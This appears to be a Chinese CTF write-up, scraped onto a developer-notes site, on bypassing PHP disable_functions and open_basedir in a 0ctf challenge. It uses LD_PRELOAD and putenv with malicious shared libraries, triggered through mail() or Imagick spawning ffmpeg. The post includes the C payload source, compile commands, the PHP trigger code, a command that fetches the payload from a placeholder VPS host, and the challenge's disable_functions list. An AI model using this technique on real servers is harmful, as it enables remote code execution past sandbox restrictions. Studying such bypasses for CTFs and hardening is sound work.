当前位置: 开发笔记 > 编程语言 > 正文

phpmailldpreload,深入浅出LD_PRELOADputenv()

作者：小dej_531 | 来源：互联网 | 2023-10-12 18:59

前记上周利用空余时间，做了一下0ctf，感觉这道bypassdisablefunction的题目比较有趣，于是分析一下，有了

175403

前记

上周利用空余时间&＃xff0c;做了一下0ctf&＃xff0c;感觉这道bypass disable function的题目比较有趣&＃xff0c;于是分析一下&＃xff0c;有了此文

题目分析

拿到题目

Imagick is a awesome library for hackers to break &＃96;disable_functions&＃96;.

So I installed php-imagick in the server, opened a &＃96;backdoor&＃96; for you.

Let&＃39;s try to execute &＃96;/readflag&＃96; to get the flag.

Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900

Hint: eval($_POST["backdoor"]);

题目给了3个信息&＃xff1a;

execute /readflag to get the flag

Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900

Hint: eval($_POST[“backdoor”]);

我们知道题目是有后门的&＃xff0c;但是有disable_functions限制&＃xff0c;所以我们首先查看一下phpinfo内容

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

过滤非常多&＃xff0c;但思路非常清晰&＃xff1a;

1.bypass open basedir

2.bypass disable functions

3.execute readflag

open basedir

我们做个简单的测试

php > ini_set(&＃39;open_basedir&＃39;,&＃39;/var/www/html&＃39;);

php > var_dump(scandir(&＃39;/var/www/html&＃39;));

array(5) {

[0]&＃61;>

string(1) "."

[1]&＃61;>

string(2) ".."

[2]&＃61;>

string(7) "hack.so"

[3]&＃61;>

string(10) "index.html"

[4]&＃61;>

string(23) "index.nginx-debian.html"

}

php > var_dump(scandir(&＃39;/tmp&＃39;));

bool(false)

即open basedir是用来限制访问目录的&＃xff0c;我们看一下题目源代码

backdoor&＃61;readfile(&＃39;index.php&＃39;);

可以得到

$dir &＃61; "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");

mkdir($dir);

ini_set(&＃39;open_basedir&＃39;, &＃39;/var/www/html:&＃39; . $dir);

Imagick is a awesome library for hackers to break &＃96;disable_functions&＃96;.

So I installed php-imagick in the server, opened a &＃96;backdoor&＃96; for you.

Let&＃39;s try to execute &＃96;/readflag&＃96; to get the flag.

Open basedir:

Hint: eval($_POST["backdoor"]);

题目也是使用了这样的限制&＃xff0c;我们只能访问

/tmp/md5("$_SERVER[REMOTE_ADDR]);

/var/www/html

那么如何bypass open basedir与disable functions呢这里不难搜到这样一篇文章

https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

文中提及&＃xff0c;我们可以用LD_PRELOAD&＃43;putenv打一套组合拳&＃xff0c;既能绕过open basedir&＃xff0c;又能绕过disable functions

LD_PRELOAD与putenv

这里我们先来看一下原理&＃xff0c;首先什么是LD_PRELOAD&＃xff1f;

google给出如下定义

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即LD_PRELOAD这个环境变量指定路径的文件&＃xff0c;会在其他文件被调用前&＃xff0c;最先被调用

而putenv可以设置环境变量

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。环境变量仅存活于当前请求期间。在请求结束时环境会恢复到初始状态。

同时该函数也未被过滤。那么我们可以有如下骚操作&＃xff1a;

1.制作一个恶意shared libraries

2.使用putenv设置LD_PRELOAD为恶意文件路径

3.使用某个php函数&＃xff0c;触发specific shared library

4.成功进行RCE

175403

而既然要在php运行时被触发&＃xff0c;那么势必选择一个非常常用的函数才行

那么怎么找到这个函数呢&＃xff1f;

传统方式(hijacking function)

在已有的文章中显示&＃xff0c;一般使用phpmail()函数进行触发&＃xff0c;我们简单分析一下

这里简单写个demo

mail(&＃39;&＃39;,&＃39;&＃39;,&＃39;&＃39;,&＃39;&＃39;);

我们strace一下&＃xff0c;可以看到运行这个脚本的时候&＃xff0c;程序会启子进程来调用sendmail

execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) &＃61; 0

[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) &＃61; 0

[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) &＃61; 0

那么我们只要看一下sendmail使用了哪些函数

175403

有很多函数可以使用&＃xff0c;这里可以选择geteuid()&＃xff0c;然后我们编写自己的evil shared libraries&＃xff1a;hack.c

#include

void payload() {

system("ls / > /tmp/sky");

}

int geteuid()

{

if (getenv("LD_PRELOAD") &＃61;&＃61; NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

然后编译一下

gcc -c -fPIC hack.c -o hack

gcc --share hack -o hack.so

然后我们运行脚本

putenv("LD_PRELOAD&＃61;./hack.so");

mail(&＃39;&＃39;,&＃39;&＃39;,&＃39;&＃39;,&＃39;&＃39;);

175403

不难发现它执行了命令&＃xff0c;然后可以发现/tmp目录下多了一个文件sky

root&＃64;sky:~# ls /tmp | grep sky

sky

我们查看一下

root&＃64;sky:~# cat /tmp/sky

bin

boot

dev

etc

home

lib

lib32

....

发现成功执行命令

改进版(hijack shared library)

但其实这个方法是将条件变得严苛了&＃xff0c;我们干的事情局限于找到一个函数&＃xff0c;然后对其进行注入

但实际上我们可以更加直接&＃xff0c;我们先将sendmail进行删除

175403

如图所示现在已经没有了sendmail&＃xff0c;但我们依旧可以进行rce&＃xff0c;可使用如下文件sky.c

#define _GNU_SOURCE

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("ls");

}

其中__attribute__ ((__constructor__))有如下说明

1.It&＃39;s run when a shared library is loaded, typically during program startup.

2.That&＃39;s how all GCC attributes are; presumably to distinguish them from function calls.

3.The destructor is run when the shared library is unloaded, typically at program exit.

所以当我们最开始将evil shared library load上后&＃xff0c;就会触发__attribute__ ((__constructor__))&＃xff0c;从而达成我们rce的目的.

函数寻找

但本题中mail函数已被disable_functions限制&＃xff0c;所以我们并不能按照上述模式进行攻击。那么我们要找到一个什么样的函数才能满足我们的条件呢&＃xff1f;

从上述内容不难发现&＃xff0c;我们必须找到一个能在运行时候启动子进程的函数才行&＃xff0c;因为我们设置了环境变量&＃xff0c;必须restart才能生效&＃xff0c;所以如果能启动一个子进程&＃xff0c;那么我们的设置的LD_PRELOAD就会加载我们的evil shared library.

这里我们发现题目提示

So I installed php-imagick in the server, opened a &＃96;backdoor&＃96; for you.

所以我们主要探究php-imagick到底能不能干类似的事情

我们阅读php-imagick源码

https://github.com/ImageMagick/ImageMagick

我们发现如下对应关系

175403

我们发现当文件是MPEG format时&＃xff0c;程序会调用’ffmpeg’ program进行转换&＃xff0c;而如下后缀都被认为成MPEG format

175403

我们测试一下.wmv

写出脚本

$img &＃61; new Imagick(&＃39;sky.wmv&＃39;);

我们测试一下

execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) &＃61; 0

[pid 25217] execve("/bin/sh", ["sh", "-c", ""ffmpeg" -v -1 -i "/tmp/magick-2"...], [/* 21 vars */]) &＃61; 0

可以发现的确成功启动了子进程&＃xff0c;调用了ffmpeg

但是如果sky.wmv文件不存在时

execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) &＃61; 0

则不会调用ffmpeg

所以也不难分析出&＃xff0c;应该是有一步判断文件是否存在的操作&＃xff0c;再会去进行调用相关程序进行解码转换的操作

所以如果想利用Imagick新起子进程&＃xff0c;那么我们得先有后面的参数文件&＃xff0c;当然这并不是什么难事。

payload & attack

那么只剩最后的攻击了&＃xff0c;找到了可以起子进程的方式&＃xff0c;只差构造evil shared library了

我们还是用之前的sky.c

#define _GNU_SOURCE

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("ls");

}

然后编译一下

gcc -c -fPIC sky.c -o sky

gcc --share sky -o sky.so

测试一下

putenv("LD_PRELOAD&＃61;./sky.so");

$img &＃61; new Imagick(&＃39;sky.wmv&＃39;);

运行发现

root&＃64;sky:~# php sky.php

bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 lost&＃43;found media mnt opt proc root run sbin srv sys test tmp usr var vmlinuz vmlinuz.old

PHP Fatal error: Uncaught ImagickException: unable to open image &＃96;/tmp/magick-25528VpF8npGTawCz.pam&＃39;: No such file or directory &＃64; error/blob.c/OpenBlob/2712 in /root/sky.php:3

Stack trace:

#0 /root/sky.php(3): Imagick->__construct(&＃39;sky.wmv&＃39;)

#1 {main}

thrown in /root/sky.php on line 3

我们成功的进行了列目录

getflag

那么现在思路很清晰&＃xff1a;

1.把我们的sky.so和sky.wmv上传到题目的/tmp/sandbox中

2.利用backdoor运行sky.php

3.在tmp目录读取重定向的结果

首先我们按照题目意思&＃xff0c;调用/readflag

文件内容为

#define _GNU_SOURCE

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("/readflag > /tmp/d4dabdbc73b87e364e29e60c60a92900/flag");

}

然后是上传文件&＃xff0c;我们有很多种方法&＃xff0c;这里可以使用

$upload &＃61; &＃39;/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so&＃39;;

echo copy("http://vps_ip/sky.wmv", $upload);

175403

我们可以看到上传成功了

然后我们执行

putenv("LD_PRELOAD&＃61;/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so");

$img &＃61; new Imagick(&＃39;/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.wmv&＃39;);

175403

可以看到flag已经打到了/tmp目录下

我们进行读取即可

175403

后记

这个题目还是比较有趣的&＃xff0c;学习到了不少姿势~

参考链接

推荐阅读

get
Struts2 + json+ jquery 实现三级联动action和jsp代码竟然有小红叉，提示缺双引号，检查了转义符号也没缺啊，求解

publicclassBindActionextendsActionSupport{privateStringproString;privateStringcitString; ... [详细]

蜡笔小新 2024-11-21 16:25:41
get
UVALive 8201 - BBP 公式计算圆周率

在1995年，Simon Plouffe 发现了一种特殊的求和方法来表示某些常数。两年后，Bailey 和 Borwein 在他们的论文中发表了这一发现，这种方法被命名为 Bailey-Borwein-Plouffe (BBP) 公式。该问题要求计算圆周率 π 的第 n 个十六进制数字。 ... [详细]

蜡笔小新 2024-11-21 18:32:57
get
JUnit下的测试和suite

nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]

蜡笔小新 2024-11-21 16:03:49
client
Oracle 11g 创建表空间与基础配置

本文详细介绍了Oracle 11g中的创建表空间的方法，以及如何设置客户端和服务端的基本配置，包括用户管理、环境变量配置等。 ... [详细]

蜡笔小新 2024-11-21 18:54:39
object
如何使用 org.apache.tinkerpop.gremlin.structure.VertexProperty 的 key 方法

本文详细介绍了 `org.apache.tinkerpop.gremlin.structure.VertexProperty` 类中的 `key()` 方法，并提供了多个实际应用的代码示例。通过这些示例，读者可以更好地理解该方法在图数据库操作中的具体用途。 ... [详细]

蜡笔小新 2024-11-21 17:38:10
get
SQL Server 存储过程实现高效分页查询

本文介绍了一种使用SQL Server存储过程来实现基于单一条件的高效分页查询的方法。通过示例代码，详细说明了如何构建和执行这种分页查询。 ... [详细]

蜡笔小新 2024-11-21 17:23:20
php
二维码的实现与应用

本文介绍了二维码的基本概念、分类及其优缺点，并详细描述了如何使用Java编程语言结合第三方库（如ZXing和qrcode.jar）来实现二维码的生成与解析。 ... [详细]

蜡笔小新 2024-11-21 17:10:15
get
Beetl模板引擎初探

Beetl是一款先进的Java模板引擎，以其丰富的功能、直观的语法、卓越的性能和易于维护的特点著称。它不仅适用于高响应需求的大型网站，也适合功能复杂的CMS管理系统，提供了一种全新的模板开发体验。 ... [详细]

蜡笔小新 2024-11-21 16:57:10
get
递归实现表达式求和

本文通过C++语言实现了一个递归算法，用于解析并计算数学表达式的值。该算法能够处理加法、减法、乘法和除法操作。 ... [详细]

蜡笔小新 2024-11-21 15:38:13
object
CentOS 中 SWAP 分区的创建与管理

本文详细介绍了在 CentOS 系统中如何创建和管理 SWAP 分区，包括临时创建交换文件、永久性增加交换空间的方法，以及如何手动释放内存缓存。 ... [详细]

蜡笔小新 2024-11-21 19:01:54
install
Oracle VM VirtualBox 使用指南：创建静态网页及高级功能

本文详细介绍了如何在Oracle VM VirtualBox中实现主机与虚拟机之间的数据交换，包括安装Guest Additions增强功能，以及如何利用这些功能进行文件传输、屏幕调整等操作。 ... [详细]

蜡笔小新 2024-11-21 18:13:22
get
使用TabActivity实现Android顶部选项卡功能

本文介绍如何通过继承TabActivity来创建Android应用中的顶部选项卡。通过简单的步骤，您可以轻松地添加多个选项卡，并实现基本的界面切换功能。 ... [详细]

蜡笔小新 2024-11-21 17:47:42
get
利用 Calcurse 在 Linux 终端高效管理日程与任务

对于喜爱使用 Linux 终端进行日常操作的系统管理员来说，Calcurse 提供了一种强大的方式来管理日程安排、待办事项及会议。本文将详细介绍如何在 Linux 上安装和使用 Calcurse，帮助用户更有效地组织工作。 ... [详细]

蜡笔小新 2024-11-21 17:01:54
get
Java 中的十进制样式 getZeroDigit()方法，示例

Java 中的十进制样式 getZeroDigit()方法，示例 ... [详细]

蜡笔小新 2024-11-21 16:53:03
header
Windows环境下Nginx缓存优化配置指南

本文详细介绍了在Windows系统中如何配置Nginx以实现高效的缓存加速功能，包括关键的配置文件设置和示例代码。 ... [详细]

蜡笔小新 2024-11-21 16:19:57

小dej_531

这个家伙很懒，什么也没留下！

Tags | 热门标签

RankList | 热门文章